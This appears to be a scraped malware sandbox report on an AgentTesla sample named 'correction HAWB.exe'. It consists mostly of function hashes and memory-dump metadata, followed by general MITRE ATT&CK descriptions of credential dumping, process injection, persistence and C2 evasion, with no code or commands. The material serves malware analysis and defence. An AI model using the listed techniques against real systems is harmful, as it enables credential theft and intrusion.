Instruction Fuzzy Hash: 1521D378608344DFDF05DF28D880B16BB69FB84714F24C5A9E98B4B246C336D847CAA3

Uniqueness

Uniqueness Score: -1.00%

Function 1DABD007, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.5774993346.000000001DABD000.00000040.00000001.sdmp, Offset: 1DABD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6426c0bd6a8a5a4dba1c87db52901a4d920851a8429dc6e56db72572fa0abb8
Instruction ID: fd3b7be4a56817cb66c6a3cee5ad792327aa3f83fb8c6bae56b3f5a76b9501e4
Opcode Fuzzy Hash: a6426c0bd6a8a5a4dba1c87db52901a4d920851a8429dc6e56db72572fa0abb8
Instruction Fuzzy Hash: F7216F755087809FCB02CF14D994B15BF75EB46314F24C5EAD88A8B256C33AD85ACBA3

Uniqueness

Uniqueness Score: -1.00%

Function 1DAAD4BF, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.5774653448.000000001DAAD000.00000040.00000001.sdmp, Offset: 1DAAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78153e8d50731891224c4d17e927dbfa81ffa3b2547531601b73c2230536b878
Instruction ID: 7c31ff2cba4dcef6c6ec5f8cba74c4a7b0e1018becfc0c00b1963817cc725421
Opcode Fuzzy Hash: 78153e8d50731891224c4d17e927dbfa81ffa3b2547531601b73c2230536b878
Instruction Fuzzy Hash: F911B176904281CFCF01CF14D5C4B1ABF71FB84314F24C6A9D8490B616C336D55ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1DAAD3D3, Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.5774653448.000000001DAAD000.00000040.00000001.sdmp, Offset: 1DAAD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78153e8d50731891224c4d17e927dbfa81ffa3b2547531601b73c2230536b878
Instruction ID: 0d9c6811355caaaac20558f7a4d580efe66a03da3b5268d0c52aa812d4ce6cda
Opcode Fuzzy Hash: 78153e8d50731891224c4d17e927dbfa81ffa3b2547531601b73c2230536b878
Instruction Fuzzy Hash: 3311AF76504281DFDB01CF14D5C4B16BF61FB84324F24C6A9D8490B616C33AE45ACBE2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: tKZVPq.exe PID: 8428 Parent PID: 4516 tKZVPq.exeCOMMON

Executed Functions

Function 024F08B0, Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

tP~l, xrefs: 024F095E

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID: tP~l
API String ID: 0-1545453420
Opcode ID: ef7019631a5338b62144c8a29da06926f78cd1c855549d2472749b1711155ef2
Instruction ID: 7197892ef2e7b82abbffdb90f90834b908abf375c259b42222da8aeda23f8f58
Opcode Fuzzy Hash: ef7019631a5338b62144c8a29da06926f78cd1c855549d2472749b1711155ef2
Instruction Fuzzy Hash: E02139303001508FC759EB38C49896D7BE2AFCA61932515A9E506CF372DB36DC46CB41

Uniqueness

Uniqueness Score: -1.00%

Function 024F0E30, Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d14f2949da2ca58f2150ae8acfa358511a225d5a6167f8770b672351c936abed
Instruction ID: 4fdc7f3ca0e70aaafd8b7d2110d36f6fd31b47d62492c597d8d63e48646fdcad
Opcode Fuzzy Hash: d14f2949da2ca58f2150ae8acfa358511a225d5a6167f8770b672351c936abed
Instruction Fuzzy Hash: BD02BE30A00245CFCB55DF64C580AAFBBF2EFC8304B15896AD60A9B795DB71EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 024F09B0, Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90b84f598fa3afbcdb76fdb8da9f42523e21c86917dda972f92cac260168507f
Instruction ID: 65ddc9150e31409f60854e564bbf0e7f7f01c61b176c0950041efd1046c5841a
Opcode Fuzzy Hash: 90b84f598fa3afbcdb76fdb8da9f42523e21c86917dda972f92cac260168507f
Instruction Fuzzy Hash: B0D1A034704245CFD749DF24C490A6A7BE6FFC9308F58986ADA068B359EB71EC56CB80

Uniqueness

Uniqueness Score: -1.00%

Function 024F1498, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17a5508a142ee73ce64e9b3ff4fc3df750b313f3b9db400c6a35a487bad800bb
Instruction ID: 13b8cd74411b01ea80870b223512eb4462ca1689e3229c14ec1d7216c1c986b6
Opcode Fuzzy Hash: 17a5508a142ee73ce64e9b3ff4fc3df750b313f3b9db400c6a35a487bad800bb
Instruction Fuzzy Hash: C301AD31F041049FC715ABB5D4656DE7BB6DF8A708F1580BAD20ADB385CF399C028B91

Uniqueness

Uniqueness Score: -1.00%

Function 024F1421, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1075a060c8bcc8b182bab40a4e3ffec74ad535e3b6b8272c7284d6f10af260b3
Instruction ID: cffc41ca738de22d69cf25c08052f44f96e05f42385dd93ca7ec6f29ca47ddbf
Opcode Fuzzy Hash: 1075a060c8bcc8b182bab40a4e3ffec74ad535e3b6b8272c7284d6f10af260b3
Instruction Fuzzy Hash: 15F0B471B042941FD749177918515FF6FBADFCA26470805BEE549CB342DE358C0787A0

Uniqueness

Uniqueness Score: -1.00%

Function 024F0857, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a94181c9aeca80e407baf724869c22235838a5467462536b3e6ca9dc7c73db32
Instruction ID: 943165fb841bd7bbffabe3685003611c4cb51d699eff95f10f1c9ebcfbeaee95
Opcode Fuzzy Hash: a94181c9aeca80e407baf724869c22235838a5467462536b3e6ca9dc7c73db32
Instruction Fuzzy Hash: 22F09B71A042985FC749CFB954455DF7FF5DF8561471484EBD04DD3242D6318917C710

Uniqueness

Uniqueness Score: -1.00%

Function 024F0868, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b93680527d9d31f3a547f7e4c021e7b3974913b0bafec3771c16236280a6eef
Instruction ID: 3683903ea2f83d9d7847d8ecee06400447feb6245a79fe5a3d7915eae2ff2d40
Opcode Fuzzy Hash: 2b93680527d9d31f3a547f7e4c021e7b3974913b0bafec3771c16236280a6eef
Instruction Fuzzy Hash: 87E09232F44209AF8B08EFF9E4485DF7FEDEB88722B108466E00DD3200EB7054608790

Uniqueness

Uniqueness Score: -1.00%

Function 024F153A, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cef27fb8f0ee326d46baa901bdcafcf027ffa19250fd48e9d22e62b0c4d63be8
Instruction ID: 7298ef00f873b02a316e92e6ca83108ecd46c5261b87a78b2c795c573fa5a07d
Opcode Fuzzy Hash: cef27fb8f0ee326d46baa901bdcafcf027ffa19250fd48e9d22e62b0c4d63be8
Instruction Fuzzy Hash: 75E022306482940FCB16A7B470606E93B664B8671870888BFC146CB78DCB3448068BC1

Uniqueness

Uniqueness Score: -1.00%

Function 024F13E0, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600db4a1f0f4c5fcd4ad3a1e99fe42c64a090f3bcca8d0b4f987b164ea519073
Instruction ID: 6680ae096ba1ce567656649672b7718f0d7d1192c6de55afdee6050035881645
Opcode Fuzzy Hash: 600db4a1f0f4c5fcd4ad3a1e99fe42c64a090f3bcca8d0b4f987b164ea519073
Instruction Fuzzy Hash: FBE08C349882808FC71ADB31A569AE43FA19B86211B5814EAD486CB25BC6A448A2CB00

Uniqueness

Uniqueness Score: -1.00%

Function 024F1489, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068e7a193c93d87f69867e205b38c95c2c5078641f13778eaad262823b4d4f1b
Instruction ID: 8314d6928209073a6b44e8ee321536788e3be39551f8ab54436f97264043724a
Opcode Fuzzy Hash: 068e7a193c93d87f69867e205b38c95c2c5078641f13778eaad262823b4d4f1b
Instruction Fuzzy Hash: C0D0A732E0855047D74753B1A81A2CD3F748E82250B8801B6D94CD7341F608892482D1

Uniqueness

Uniqueness Score: -1.00%

Function 024F1590, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.1842928404.00000000024F0000.00000040.00000001.sdmp, Offset: 024F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a07061a43fedba0c6feefe044233a33feb32acf3e7b801fc4c8fc9cf4d121c14
Instruction ID: f81e844b2479dd8dd3471b116b5a62024178c3307c27f0950996718965f2470c
Opcode Fuzzy Hash: a07061a43fedba0c6feefe044233a33feb32acf3e7b801fc4c8fc9cf4d121c14
Instruction Fuzzy Hash: 6FC0024419E2D02ED727A77418715A57F248D8711D35910CBD2C58B1B3DA88452BD32A

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: tKZVPq.exe PID: 2424 Parent PID: 4516 tKZVPq.exeCOMMON

Executed Functions

Function 017E08B0, Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

tP~l, xrefs: 017E095E

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID: tP~l
API String ID: 0-1545453420
Opcode ID: f8365c65880d992e7f179bd0b7121f662784d1d49ba49899b98da7238b6e7715
Instruction ID: 3e25cea446a6c344405dfde24e7f583c2bfb8889553cd8578ee36b8228086368
Opcode Fuzzy Hash: f8365c65880d992e7f179bd0b7121f662784d1d49ba49899b98da7238b6e7715
Instruction Fuzzy Hash: 2F2137703402148FDB49EF38C45896D7BE2AF8A61932545A8E506CF3B2DB76EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 017E0E30, Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0de13fb1401d3bcd2a31b0b261de041888ddaae785523a44b014a09a9adf4241
Instruction ID: fde4b5cd91caa7356cc67f2b9f0a89bbf2c4155c1590f3c9fcd5668ff0006dc6
Opcode Fuzzy Hash: 0de13fb1401d3bcd2a31b0b261de041888ddaae785523a44b014a09a9adf4241
Instruction Fuzzy Hash: F402BD30B002558FCB54DF68C894AAEBBF6FF89308B158969D5069F391DB31EC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 017E09B0, Relevance: .3, Instructions: 314COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ce8cbba667c36a500b076837f087901c0068d28ce2f60b401d00b9f172a3140
Instruction ID: b6c126fa0ad3913d1b4c2e0ae2a10bc40f1671c71e600eae554acbf867d1792e
Opcode Fuzzy Hash: 6ce8cbba667c36a500b076837f087901c0068d28ce2f60b401d00b9f172a3140
Instruction Fuzzy Hash: F5D19B34704305CFD714DF24C858A6ABBE6FB8D308F5584A8E9168B394EBB5EC95CB81

Uniqueness

Uniqueness Score: -1.00%

Function 017E1498, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5976aea0bb699615ba24f16fe3b1901c9f0eb1d2a45bd614cf642eb4dd491ccc
Instruction ID: 04e739910e81188b253976c86d11c8debdfa1edc4166535278dfd69d387d85b0
Opcode Fuzzy Hash: 5976aea0bb699615ba24f16fe3b1901c9f0eb1d2a45bd614cf642eb4dd491ccc
Instruction Fuzzy Hash: B401D631F001149FC754ABB4D8286AD7BB5EF8A704F1140AAE605DF390DF399D059B91

Uniqueness

Uniqueness Score: -1.00%

Function 017E1421, Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca8e0055467dcd280e998de0ba43b3ae9427a3f2cf6b133f6233e251bddf250a
Instruction ID: b0d656fc723aaaf26cd72afc791bd6471b59dacdb842a9217f36d4d2149de443
Opcode Fuzzy Hash: ca8e0055467dcd280e998de0ba43b3ae9427a3f2cf6b133f6233e251bddf250a
Instruction Fuzzy Hash: 64F0F031B053141FD34857785C149BF77B9EBC6264705053EE409CB350EE749C0687A0

Uniqueness

Uniqueness Score: -1.00%

Function 017E0857, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 319a6dd32059f8fb51b43f4fe3d1871dc2fe221d8cfa34445f04eaabec231712
Instruction ID: be9d2a86ab4ec7f2ae4ea32dc643ac25705d62ad6ae87b4e7602593f932a3ca7
Opcode Fuzzy Hash: 319a6dd32059f8fb51b43f4fe3d1871dc2fe221d8cfa34445f04eaabec231712
Instruction Fuzzy Hash: 80F0E531A083486FCB05CFB898545EE7FF9EF45214B0180ABE008E7202E27099049B10

Uniqueness

Uniqueness Score: -1.00%

Function 017E0868, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec5e09e1a5a7198be8f60d51fe30f02321a92f3a50f7d00ceb3443513170c47
Instruction ID: ea9515faad93ab544a724d5ed2180409b651b479cec52549ab2ffd12aefd02ab
Opcode Fuzzy Hash: 0ec5e09e1a5a7198be8f60d51fe30f02321a92f3a50f7d00ceb3443513170c47
Instruction Fuzzy Hash: 51E09B32708209AF9714DFF9E4484DEBFFDEB481217014066F00DD6104FA7064806751

Uniqueness

Uniqueness Score: -1.00%

Function 017E1539, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e45eaf6903a9a6ec3307cd8eae20fac9015e61eb4ff17c94994661499fb3435
Instruction ID: 9a100c8b56738206708abeaa73b8b0c2347d2bb2d7c10125656c5069b8c54fac
Opcode Fuzzy Hash: 3e45eaf6903a9a6ec3307cd8eae20fac9015e61eb4ff17c94994661499fb3435
Instruction Fuzzy Hash: 62E02B30A546244FC365A678B8147BD63DEE7CB345F40597BD5068F790DA394C054FD1

Uniqueness

Uniqueness Score: -1.00%

Function 017E13E0, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2a8b95b23a94adfcc6a54fa5d0b525b995debb59ab839b2b3af04873038755c
Instruction ID: 4ae58306c329bb57048629f4da36882a3309095f8acd35a2c194ca913564c998
Opcode Fuzzy Hash: a2a8b95b23a94adfcc6a54fa5d0b525b995debb59ab839b2b3af04873038755c
Instruction Fuzzy Hash: 82E02C30A48780CFC7198F20E8389AA3FFAEB4A301F0200E9E8418F3A2C2380C44CB00

Uniqueness

Uniqueness Score: -1.00%

Function 017E1489, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 933775a1c85e7be72d299e303a7169a88881bbb6cb5636713183ae3c00d2f129
Instruction ID: 4c3c136a76ae97418a4465f468b95658b3c94200db0c7380e92e0dca58146269
Opcode Fuzzy Hash: 933775a1c85e7be72d299e303a7169a88881bbb6cb5636713183ae3c00d2f129
Instruction Fuzzy Hash: 5FD0A732A15B148BD71096E9AC161CC7FB4DB426A1B4600AAD544CB291F6288A1487D2

Uniqueness

Uniqueness Score: -1.00%

Function 017E1590, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1921381181.00000000017E0000.00000040.00000001.sdmp, Offset: 017E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 496306b8936c7c04a6c5f096d88b9e8ddb6a7e6ce2b844584329a196ae39eac0
Instruction ID: 64fbf926896daa2430c17b80a9782cb705f1053abf940318881955d94ebbb367
Opcode Fuzzy Hash: 496306b8936c7c04a6c5f096d88b9e8ddb6a7e6ce2b844584329a196ae39eac0
Instruction Fuzzy Hash: 91C0126008A7C09FC7435B700C348A93FA8DA8621C39980CA90808A0B3E6180959E739

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report correction HAWB.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Sigma Overview

Networking:

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Software Vulnerabilities:

Networking:

Spam, unwanted Advertisements and Ransom Demands:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
